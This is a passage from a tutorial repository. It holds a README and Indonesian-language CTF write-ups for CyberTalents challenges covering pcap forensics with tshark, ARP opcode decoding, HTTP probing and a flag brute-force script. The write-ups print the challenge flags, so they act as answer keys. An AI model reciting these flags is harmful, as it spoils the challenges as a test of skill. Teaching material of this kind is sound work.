├── LICENSE
├── README.md
├── cybertalents
├── tutorial-cybertalents-anonymous.md
├── tutorial-cybertalents-arp_storm.md
├── tutorial-cybertalents-back_to_basics.md
├── tutorial-cybertalents-bruteforce_me.md
├── tutorial-cybertalents-cheers.md
├── tutorial-cybertalents-crypto-postbase.md
├── tutorial-cybertalents-ctbank.md
├── tutorial-cybertalents-deleted.md
├── tutorial-cybertalents-elementary.md
├── tutorial-cybertalents-eye_of_sauron.md
├── tutorial-cybertalents-foundfile.md
├── tutorial-cybertalents-general_info.md
├── tutorial-cybertalents-get_rid_of_em.md
├── tutorial-cybertalents-got_control.md
├── tutorial-cybertalents-i_love_images.md
├── tutorial-cybertalents-i_love_this_guy.md
├── tutorial-cybertalents-just_smile.md
├── tutorial-cybertalents-lotr_mania.md
├── tutorial-cybertalents-mailer.md
├── tutorial-cybertalents-maximum_courage.md
├── tutorial-cybertalents-mobile_app.md
├── tutorial-cybertalents-re-can_you_see_me.md
├── tutorial-cybertalents-re-catch_me_if_you_can.md
├── tutorial-cybertalents-re-secret_box.md
├── tutorial-cybertalents-rsa101.md
├── tutorial-cybertalents-secret_blog.md
├── tutorial-cybertalents-secret_browser.md
├── tutorial-cybertalents-simple_reverse.md
├── tutorial-cybertalents-the_restricted_sessions.md
└── tutorial-cybertalents-whoami.md
├── python
├── tutorial-antiuncompyle6.md
├── tutorial-decoding_simple_obfuscation.md
├── tutorial-dekompilasi_claim_freebitcoin.md
├── tutorial-dekompilasi_comz2.md
├── tutorial-dekompilasi_fftool.md
├── tutorial-dekompilasi_key.md
├── tutorial-dekompilasi_script_enc.md
├── tutorial-dekompilasi_script_lv.md
├── tutorial-dekompilasi_script_pytodz.md
├── tutorial-dekompilasi_sobat_gretonger.md
├── tutorial-dekompilasi_telebot.md
├── tutorial-dekripsi_crackjake.md
├── tutorial-dekripsi_script_clickbots.md
├── tutorial-dekripsi_script_telemax.md
├── tutorial-ffhax_script_backdoor.md
├── tutorial-mengupas_script_phising_sederhana.md
├── tutorial-native_python_script.md
├── tutorial-reverse_engineering_nfbjoinbot.md
└── tutorial-reversing_registrasi_script_999_dicebot.md
├── reversing
├── tutorial-dekompilasi_malware_autoit.md
├── tutorial-dekripsi_proteksi_messphp.md
├── tutorial-gemastik_triple.md
└── tutorial-instalasi_rizin.md
└── tips
├── instalasi_ugrep_pada_fedora.md
└── mengecilkan_titlebar_gnome.md
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 drubicza
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Tutorials
2 |
3 | This repository is where some of my tutorials reside. Most of the tutorials is pretty basic, so if you are a computer wizard, please don't bother and waste your time to read it.
4 |
5 | ## Reverse Engineering (General)
6 |
7 | * [Instalasi rizin Secara Manual](https://github.com/drubicza/tutorials/blob/master/reversing/tutorial-instalasi_rizin.md)
8 | * [Dekripsi Proteksi MessPHP](https://github.com/drubicza/tutorials/blob/master/reversing/tutorial-dekripsi_proteksi_messphp.md)
9 | * [Dekompilasi Malware AutoIt](https://github.com/drubicza/tutorials/blob/master/reversing/tutorial-dekompilasi_malware_autoit.md)
10 | * [Solusi Soal Triple Gemastik](https://github.com/drubicza/tutorials/blob/master/reversing/tutorial-gemastik_triple.md)
11 |
12 |
13 | ## Reverse Engineering (Python)
14 |
15 | * [Tutorial Dekompilasi Script Auto Leave Channel/Group](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekompilasi_script_lv.md)
16 | * [Tutorial Script Antiuncompyle6](https://github.com/drubicza/tutorials/blob/master/python/tutorial-antiuncompyle6.md)
17 | * [Tutorial Dekompilasi Script Key](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekompilasi_key.md)
18 | * [Tutorial Dekompilasi Script Enc](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekompilasi_script_enc.md)
19 | * [Tutorial Dekompilasi Script FFTool](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekompilasi_fftool.md)
20 | * [Tutorial Dekripsi Script Crackjake](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekripsi_crackjake.md)
21 | * [Tutorial Dekompilasi Script Comz2](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekompilasi_comz2.md)
22 | * [Tutorial Dekompilasi Script Pytodz](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekompilasi_script_pytodz.md)
23 | * [Tutorial Dekripsi Script Telemax](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekripsi_script_telemax.md)
24 | * [Tutorial Dekompilasi Telebot For All Clickbot Telegram](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekompilasi_telebot.md)
25 | * [Reversing Registrasi Script 999 Dicebot](https://github.com/drubicza/tutorials/blob/master/python/tutorial-reversing_registrasi_script_999_dicebot.md)
26 | * [Tutorial Backdoor Pada Script FFHax](https://github.com/drubicza/tutorials/blob/master/python/tutorial-ffhax_script_backdoor.md)
27 | * [Reverse Engineering Script NFBJoinBot](https://github.com/drubicza/tutorials/blob/master/python/tutorial-reverse_engineering_nfbjoinbot.md)
28 | * [Decoding Simple Obfuscation](https://github.com/drubicza/tutorials/blob/master/python/tutorial-decoding_simple_obfuscation.md)
29 | * [Dekripsi Script Clickbots](https://github.com/drubicza/tutorials/blob/master/python/tutorial-dekripsi_script_clickbots.md)
30 | * [Seputar Native Python Script](https://github.com/drubicza/tutorials/blob/master/python/tutorial-native_python_script.md)
31 | * [Mengupas Script Phishing Sederhana](https://github.com/drubicza/tutorials/blob/master/python/tutorial-mengupas_script_phising_sederhana.md)
32 |
33 | ## [Writeup] Cyber Talents
34 |
35 | * [General Information](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-general_info.md)
36 | * [Anonymous](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-anonymous.md)
37 | * [ARP Storm](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-arp_storm.md)
38 | * [Back to Basics](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-back_to_basics.md)
39 | * [Bruteforce Me](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-bruteforce_me.md)
40 | * [Cheers](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-cheers.md)
41 | * [Postbase](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-crypto-postbase.md)
42 | * [CTBank](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-ctbank.md)
43 | * [Deleted](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-deleted.md)
44 | * [Elementary](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-elementary.md)
45 | * [Eye Of Sauron](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-eye_of_sauron.md)
46 | * [File Found](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-foundfile.md)
47 | * [Get Rid of Em](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-get_rid_of_em.md)
48 | * [Got Controls](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-got_control.md)
49 | * [I Love Images](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-i_love_images.md)
50 | * [I Love This Guy](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-i_love_this_guy.md)
51 | * [Just Smile](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-just_smile.md)
52 | * [LOTR Mania](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-lotr_mania.md)
53 | * [Mailer](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-mailer.md)
54 | * [Maximum Courage](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-maximum_courage.md)
55 | * [Mobile App](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-mobile_app.md)
56 | * [Can You See Me](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-re-can_you_see_me.md)
57 | * [Catch Me If You Can](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-re-catch_me_if_you_can.md)
58 | * [Secret Box](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-re-secret_box.md)
59 | * [RSA101](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-rsa101.md)
60 | * [Secret Blog](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-secret_blog.md)
61 | * [Secret Browser](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-secret_browser.md)
62 | * [Simple Reverse](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-simple_reverse.md)
63 | * [The Restricted Sessions](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-the_restricted_sessions.md)
64 | * [Who Am I](https://github.com/drubicza/tutorials/blob/master/cybertalents/tutorial-cybertalents-whoami.md)
65 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-anonymous.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Anonymous
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal CTF [Cyber Talents: Anonymous](https://cybertalents.com/challenges/forensics/anonymous) yang termasuk dalam kategori digital forensik. Adapun penjelasan untuk soal tersebut adalah sebagai berikut:
5 |
6 | ```
7 | Can you trace the anonymous guy?
8 | ```
9 |
10 | Kemudian kita akan diberikan tautan ke sebuah file PCAP yang dapat [diunduh di sini](https://hubchallenges.s3-eu-west-1.amazonaws.com/Forensics/anonymous.pcap). Filenya cukup kecil, kurang lebih 16 KB. Selanjutnya kita akan menggunakan **tshark** yang merupakan versi CLI dari [Wireshark](https://www.wireshark.org/). Jalankan **tshark** dan gunakan file **anonymous.pcap** sebagai input seperti ini:
11 |
12 | ```bash
13 | % tshark -r anonymous.pcap
14 | ...
15 | 112 71.048288 192.168.0.200 → 192.168.0.164 FTP 95 Response: 200 Active data connection established.
16 | 113 71.049107 192.168.0.164 → 192.168.0.200 FTP 69 Request: RETR flag.txt
17 | 114 71.049345 192.168.0.200 → 192.168.0.164 FTP 108 Response: 125 Data connection already open. Transfer starting.
18 | 115 71.049497 192.168.0.200 → 192.168.0.164 TCP 91 47423 → 46778 [FIN, ACK] Seq=1 Ack=1 Win=64256 Len=37
19 | 116 71.049533 192.168.0.200 → 192.168.0.164 FTP 78 Response: 226 Transfer complete.
20 | ...
21 | ```
22 |
23 | Perhatikan, bahwa pada frame nomor **113**, terdapat perintah untuk mengunduh file **flag.txt** menggunakan protokol **FTP**. Dan data transfer dimulai pada frame nomor **115** dan selesai pada frame **116**. Jadi kita akan melihat data yang ditransfer pada frame **115** dengan perintah berikut ini:
24 |
25 | ```bash
26 | % tshark -r anonymous.pcap -Y 'frame.number==115' -x
27 | 0000 08 97 98 83 44 aa ba 78 a1 28 0c 32 08 00 45 00 ....D..x.(.2..E.
28 | 0010 00 4d 0e 20 40 00 40 06 a9 ce c0 a8 00 c8 c0 a8 .M. @.@.........
29 | 0020 00 a4 b9 3f b6 ba a7 76 6b 5a e6 60 32 b4 50 11 ...?...vkZ.`2.P.
30 | 0030 01 f6 82 fc 00 00 5a 6d 78 68 5a 33 74 68 62 6d ......ZmxhZ3thbm
31 | 0040 39 75 65 57 31 76 64 58 4e 66 64 44 42 66 64 47 9ueW1vdXNfdDBfdG
32 | 0050 67 7a 58 32 56 75 5a 48 30 3d 0a gzX2VuZH0=.
33 | ```
34 |
35 | Atau jika ingin lebih jelas, gunakan opsi **-V** seperti ini:
36 |
37 | ```bash
38 | % tshark -r anonymous.pcap -Y 'frame.number==115' -V
39 | Frame 115: 91 bytes on wire (728 bits), 91 bytes captured (728 bits)
40 | Encapsulation type: Ethernet (1)
41 | Arrival Time: Mar 12, 2020 02:41:59.267698000 WITA
42 | [Time shift for this packet: 0.000000000 seconds]
43 | Epoch Time: 1583952119.267698000 seconds
44 | [Time delta from previous captured frame: 0.000152000 seconds]
45 | [Time delta from previous displayed frame: 0.000000000 seconds]
46 | [Time since reference or first frame: 71.049497000 seconds]
47 | Frame Number: 115
48 | Frame Length: 91 bytes (728 bits)
49 | Capture Length: 91 bytes (728 bits)
50 | [Frame is marked: False]
51 | [Frame is ignored: False]
52 | [Protocols in frame: eth:ethertype:ip:tcp:data]
53 | Ethernet II, Src: ba:78:a1:28:0c:32, Dst: 08:97:98:83:44:aa
54 | Destination: 08:97:98:83:44:aa
55 | Address: 08:97:98:83:44:aa
56 | .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
57 | .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
58 | Source: ba:78:a1:28:0c:32
59 | Address: ba:78:a1:28:0c:32
60 | .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)
61 | .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
62 | Type: IPv4 (0x0800)
63 | Internet Protocol Version 4, Src: 192.168.0.200, Dst: 192.168.0.164
64 | 0100 .... = Version: 4
65 | .... 0101 = Header Length: 20 bytes (5)
66 | Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
67 | 0000 00.. = Differentiated Services Codepoint: Default (0)
68 | .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
69 | Total Length: 77
70 | Identification: 0x0e20 (3616)
71 | Flags: 0x4000, Don't fragment
72 | 0... .... .... .... = Reserved bit: Not set
73 | .1.. .... .... .... = Don't fragment: Set
74 | ..0. .... .... .... = More fragments: Not set
75 | Fragment offset: 0
76 | Time to live: 64
77 | Protocol: TCP (6)
78 | Header checksum: 0xa9ce [validation disabled]
79 | [Header checksum status: Unverified]
80 | Source: 192.168.0.200
81 | Destination: 192.168.0.164
82 | Transmission Control Protocol, Src Port: 47423 (47423), Dst Port: 46778 (46778), Seq: 1, Ack: 1, Len: 37
83 | Source Port: 47423 (47423)
84 | Destination Port: 46778 (46778)
85 | [Stream index: 3]
86 | [TCP Segment Len: 37]
87 | Sequence number: 1 (relative sequence number)
88 | Sequence number (raw): 2809555802
89 | [Next sequence number: 39 (relative sequence number)]
90 | Acknowledgment number: 1 (relative ack number)
91 | Acknowledgment number (raw): 3865064116
92 | 0101 .... = Header Length: 20 bytes (5)
93 | Flags: 0x011 (FIN, ACK)
94 | 000. .... .... = Reserved: Not set
95 | ...0 .... .... = Nonce: Not set
96 | .... 0... .... = Congestion Window Reduced (CWR): Not set
97 | .... .0.. .... = ECN-Echo: Not set
98 | .... ..0. .... = Urgent: Not set
99 | .... ...1 .... = Acknowledgment: Set
100 | .... .... 0... = Push: Not set
101 | .... .... .0.. = Reset: Not set
102 | .... .... ..0. = Syn: Not set
103 | .... .... ...1 = Fin: Set
104 | [Expert Info (Chat/Sequence): Connection finish (FIN)]
105 | [Connection finish (FIN)]
106 | [Severity level: Chat]
107 | [Group: Sequence]
108 | [TCP Flags: ·······A···F]
109 | Window size value: 502
110 | [Calculated window size: 64256]
111 | [Window size scaling factor: 128]
112 | Checksum: 0x82fc [unverified]
113 | [Checksum Status: Unverified]
114 | Urgent pointer: 0
115 | [SEQ/ACK analysis]
116 | [iRTT: 0.000561000 seconds]
117 | [Bytes in flight: 37]
118 | [Bytes sent since last PSH flag: 37]
119 | [Timestamps]
120 | [Time since first frame in this TCP stream: 0.001867000 seconds]
121 | [Time since previous frame in this TCP stream: 0.001306000 seconds]
122 | TCP payload (37 bytes)
123 | Data (37 bytes)
124 |
125 | 0000 5a 6d 78 68 5a 33 74 68 62 6d 39 75 65 57 31 76 ZmxhZ3thbm9ueW1v
126 | 0010 64 58 4e 66 64 44 42 66 64 47 67 7a 58 32 56 75 dXNfdDBfdGgzX2Vu
127 | 0020 5a 48 30 3d 0a ZH0=.
128 | Data: 5a6d78685a337468626d39756557317664584e6664444266…
129 | Text: ZmxhZ3thbm9ueW1vdXNfdDBfdGgzX2VuZH0=\n
130 | [Length: 37]
131 |
132 | ```
133 |
134 | Bisa terlihat bahwa isi dari file **flag.txt** yang diunduh menggunakan FTP adalah teks yang diencode menggunakan Base64. Isinya dapat kita decode menggunakan perintah berikut ini:
135 |
136 | ```bash
137 | % echo -n 'ZmxhZ3thbm9ueW1vdXNfdDBfdGgzX2VuZH0=' | base64 -d
138 | flag{anonymous_t0_th3_end}
139 | ```
140 |
141 | Jadi, untuk soal kali ini, flagnya adalah: `flag{anonymous_t0_th3_end}`. Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
142 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-arp_storm.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: ARP Storm
2 |
3 | Writeup kali ini akan membahas soal [Cyber Talents: ARP Storm](https://cybertalents.com/challenges/network/arp-storm) untuk kategori network. Soal ini tidak terlalu sulit. Berikut ini adalah petunjuk dari soal tersebut:
4 |
5 | ```
6 | An attacker in the network is trying to poison the arp table
7 | of 11.0.0.100, the admin captured this PCAP.
8 | ```
9 |
10 | Adapun hasil _network capture_ (PCAP) dari soal tersebut dapat [diunduh pada tautan ini](https://hubchallenges.s3-eu-west-1.amazonaws.com/Forensics/ARP+Storm.pcap). Untuk menyelesaikan soal ini, kita akan menggunakan aplikasi [Wireshark](https://www.wireshark.org/). Agar lebih mudah, kita akan menggunakan versi CLI dari Wireshark yaitu **tshark**. Jalankan **tshark** menggunakan perintah seperti ini:
11 |
12 | ```bash
13 | % tshark -r ARP+Storm.pcap
14 | 1 0.000000 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x005a
15 | 2 0.000442 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x006d
16 | 3 0.000745 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x0078
17 | 4 0.000994 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x0068
18 | 5 0.001290 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x005a
19 | ...
20 | 64 0.019096 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x0077
21 | 65 0.019337 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x0062
22 | 66 0.019617 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x006e
23 | 67 0.019858 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x0030
24 | 68 0.020136 00:0c:29:1e:1d:81 → ff:ff:ff:ff:ff:ff ARP 42 Unknown ARP opcode 0x003d
25 | ```
26 |
27 | Bisa terlihat, bahwa setiap paket menggunakan _opcode_ yang berbeda dalam format hexadesimal. Kita akan mengambil _opcode_ dari setiap paket, lalu menampilkannya dalam format ASCII, menggunakan AWK dengan perintah seperti ini:
28 |
29 | ```bash
30 | % tshark -r ARP+Storm.pcap -Tfields -e arp.opcode | awk '{printf("%c",$1)}'
31 | ZmxhZ3tnckB0dWl0MHVzXzBwY09kZV8xc19BbHdAeXNfQTZ1U2VkX3QwX3AwMXMwbn0=
32 | ```
33 |
34 | Ternyata gabungan _opcode_ dari setiap paket adalah string yang diencode menggunakan Base64. Jadi kita akan menambahkan perintah untuk melakukan decode Base64 pada perintah di atas:
35 |
36 | ```bash
37 | % tshark -r ARP+Storm.pcap -Tfields -e arp.opcode | awk '{printf("%c",$1)}' | base64 -d
38 | flag{gr@tuit0us_0pcOde_1s_Alw@ys_A6uSed_t0_p01s0n}
39 | ```
40 |
41 | Nah, itu dia flagnya `flag{gr@tuit0us_0pcOde_1s_Alw@ys_A6uSed_t0_p01s0n}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
42 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-back_to_basics.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Back to Basics
2 |
3 |
4 | Ini adalah tutorial dari soal latihan [Cyber Talents: Back to Basics](https://cybertalents.com/challenges/web/back-to-basics) untuk kategori Web Security. Berikut ini adalah penjelasan untuk soal tersebut:
5 |
6 | ```
7 | not pretty much many options.
8 | No need to open a link from a browser,
9 | there is always a different way
10 | ```
11 |
12 | Dan soalnya berada pada [tautan ini](http://35.197.254.240/backtobasics). Untuk menyelesaikan soal ini, kita akan menggunakan [HTTPie](https://httpie.org/), namun Anda juga dapat menggunakan aplikasi lainnya sesuai keinginan. Langkah pertama, kita akan melakukan request ke tautan soal tersebut menggunakan HTTPie dengan perintah seperti ini:
13 |
14 | ```bash
15 | % http "http://35.197.254.240/backtobasics"
16 | HTTP/1.1 301 Moved Permanently
17 | Allow: GET, POST, HEAD,OPTIONS
18 | Connection: keep-alive
19 | Content-Length: 194
20 | Content-Type: text/html
21 | Date: Mon, 27 Jul 2020 03:55:44 GMT
22 | Location: http://35.197.254.240/backtobasics/
23 | Server: nginx/1.10.3 (Ubuntu)
24 |
25 |
26 |
301 Moved Permanently
27 |
28 |
301 Moved Permanently
29 |
nginx/1.10.3 (Ubuntu)
30 |
31 |
32 | ```
33 |
34 | Bisa terlihat, bahwa kita akan diarahkan (_redirect_) ke halaman tersebut, jika menggunakan tautan tanpa diakhiri dengan **/** (_slash_). Coba kita kirimkan request menggunakan _slash_:
35 |
36 | ``` bash
37 | % http "http://35.197.254.240/backtobasics/"
38 | HTTP/1.1 200 OK
39 | Allow: GET, POST, HEAD,OPTIONS
40 | Connection: keep-alive
41 | Content-Encoding: gzip
42 | Content-Type: text/html; charset=UTF-8
43 | Date: Mon, 27 Jul 2020 03:57:48 GMT
44 | Server: nginx/1.10.3 (Ubuntu)
45 | Transfer-Encoding: chunked
46 |
47 |
48 | ```
49 |
50 | Kali ini, kita akan diarahkan ke situs pencari google. Jika kita perhatikan, pada header web tersebut, terdapat beberapa metode yang dapat digunakan, yaitu **GET**, **POST**, **HEAD**, dan **OPTIONS**. Kita akan mencoba mengirimkan request dengan metode **POST** dengan menggunakan parameter acak:
51 |
52 | ```bash
53 | % http "http://35.197.254.240/backtobasics/" "foo=bar"
54 | HTTP/1.1 200 OK
55 | Allow: GET, POST, HEAD,OPTIONS
56 | Connection: keep-alive
57 | Content-Encoding: gzip
58 | Content-Type: text/html; charset=UTF-8
59 | Date: Mon, 27 Jul 2020 03:46:56 GMT
60 | Server: nginx/1.10.3 (Ubuntu)
61 | Transfer-Encoding: chunked
62 |
63 |
66 | ```
67 |
68 | Ternyata hasilnya, kita tidak di-redirect lagi, dan terdapat sebuah script javascript pada halaman tersebut. Jika diperhatikan, maka flag pada script di atas terdapat pada variabel `_0x7f88[5]` dan kemudian string tersebut akan dibalik (_reverse_) menjadi `2b323f9008ed771765cd2259d860baec`. Nah, itu adalah flag untuk soal ini.
69 |
70 | Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
71 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-bruteforce_me.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Bruteforce Me
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal latihan [Cyber Talents: Bruteforce Me](https://cybertalents.com/challenges/malware/bruteforce-me) yang merupakan kategori Malware Reverse Engineering. Berikut ini adalah deskripsi dari soal tersebut:
5 |
6 | ```
7 | flag format flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx},only a-z,0-9,_ are allowed.
8 | try to find the only flag that makes sense.
9 | Note: no special hardware is required to bruteforce
10 |
11 | https://www.youtube.com/watch?v=hyk46UmJPS4 this may help you coding the solution.
12 | DON'T BRUTEFORCE KEY SUBMISSIONS.
13 | ```
14 |
15 | Soalnya berupa script python yang dapat [diunduh pada tautan ini](https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/bruteforceme.py). Berikut ini adalah kode sumber soal tersebut:
16 |
17 | ```python
18 | ll =[51, 54, 48, 51, 61, 57, 50, 54, 48, 52, 55, 50, 50, 57, 47, 52, 57, 47, 54, 24, 57, 58, 62]
19 |
20 | i = raw_input()
21 | ss= 0
22 | try:
23 | for ii in range(0,46 , 2):
24 | temp = i[ii:ii+2]
25 | temp = int(temp,0x10)
26 | ss+=temp
27 | temp >>=1
28 | if temp != ll[ii/2]:
29 | print "Something is wrong"
30 | if ss !=2406:
31 | print ss/0
32 | print "This flag may or may not work, can you find more ?"
33 |
34 | except:
35 | print "NO"
36 | ```
37 |
38 | Berikut ini adalah penjelasan singkat untuk setiap baris pada kode sumber soal tersebut:
39 |
40 | ```python
41 | # list berikut ini berjumlah 26, artinya flag panjangnya 26 karakter
42 | ll =[51, 54, 48, 51, 61, 57, 50, 54, 48, 52, 55, 50, 50, 57, 47, 52, 57, 47, 54, 24, 57, 58, 62]
43 |
44 | i = raw_input() # variabel i berisi string input dari user
45 | ss= 0 # variabel ss nilai awalnya 0
46 | try:
47 | for ii in range(0,46 , 2): # ambil setiap 2 karakter, ulangi sampai total 46 karakter
48 | temp = i[ii:ii+2] # variabel temp berisi 2 karakter dari user
49 | temp = int(temp,0x10) # ubah variabel temp dari hexadesimal menjadi desimal
50 | ss+=temp # jumlahkan hasilnya ke variabel ss
51 | temp >>=1 # geser ke kanan 1 bit nilai variabel temp (shift right)
52 | if temp != ll[ii/2]: # jika nilai variabel temp tidak sama dengan nilai pada list ll
53 | print "Something is wrong" # berarti nilainya salah
54 | if ss !=2406: # jika jumlah total karakter flag tidak sama dengan 2406
55 | print ss/0 # maka flag salah
56 | print "This flag may or may not work, can you find more ?"
57 |
58 | except:
59 | print "NO"
60 | ```
61 |
62 | Jika disederhanakan, berikut ini adalah mekanisme script di atas:
63 |
64 | * Input dari user berupa string hexadesimal berjumlah 46 digit (karakter)
65 | * Setiap 2 karakter akan diubah menjadi nilai desimal dan disimpan pada variabel **temp**.
66 | * Variabel **ss** akan digunakan untuk menyimpan jumlah nilai tersebut.
67 | * Nilai desimal pada variabel **temp** kemudian digeser ke kanan sebanyak 1 bit.
68 | * Jika nilai pada variabel **temp** tidak sesuai dengan nilai yang terdapat pada list **ll**, maka nilai input dari user salah.
69 | * Jika total jumlah nilai input dari user tidak sama dengan **2406**, maka inputnya salah.
70 | * Input dari user berupa flag, hanya boleh berupa nilai hexadesimal dari karakter **_**, **0-9** dan **a-z**.
71 |
72 | Dengan berbekal informasi tersebut, kita dapat menyimpulkan bahwa sebenarnya script tersebut cukup sederhana, yaitu menggeser ke kanan 1 bit setiap karakter dari input yang diberikan user. Selanjutnya kita akan membuat script untuk bruteforce seperti ini:
73 |
74 | ```python
75 | #!/usr/bin/env python3
76 |
77 | ll = [51, 54, 48, 51, 61, 57, 50, 54, 48, 52, 55, 50, 50, 57, 47, 52, 57, 47, 54, 24, 57, 58, 62]
78 | aa = [95,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,125] # karakter a-z,0-9,_,{ dan }
79 |
80 | for x in ll:
81 | for y in aa:
82 | if ((y >> 1) == x):
83 | print(chr(y), end=",")
84 | print()
85 | ```
86 |
87 | Jika dijalankan, maka _script_ tersebut akan menghasilkan _output_ berikut ini:
88 |
89 | ```bash
90 | f,g,
91 | l,m,
92 | a,
93 | f,g,
94 | z,{,
95 | r,s,
96 | d,e,
97 | l,m,
98 | a,
99 | h,i,
100 | n,o,
101 | d,e,
102 | d,e,
103 | r,s,
104 | _,
105 | h,i,
106 | r,s,
107 | _,
108 | l,m,
109 | 0,1,
110 | r,s,
111 | t,u,
112 | },
113 | ```
114 |
115 | Dari hasil di atas, kita mendapatkan beberapa kandidat _string_ yang kemungkinan adalah _flag_. Namun tetap masih harus kita periksa jumlah dari string tersebut nilainya harus 2406. Berikut adalah string tersebut:
116 |
117 | ```
118 | flag{remainder_is_m0st}
119 | flag{remainder_is_l0st}
120 | ```
121 |
122 | Kita dapat mengujinya menggunakan python seperti ini:
123 |
124 | ```python
125 | % python -c 'print(sum(map(lambda c: ord(c), "flag{remainder_is_m0st}")))'
126 | 2407
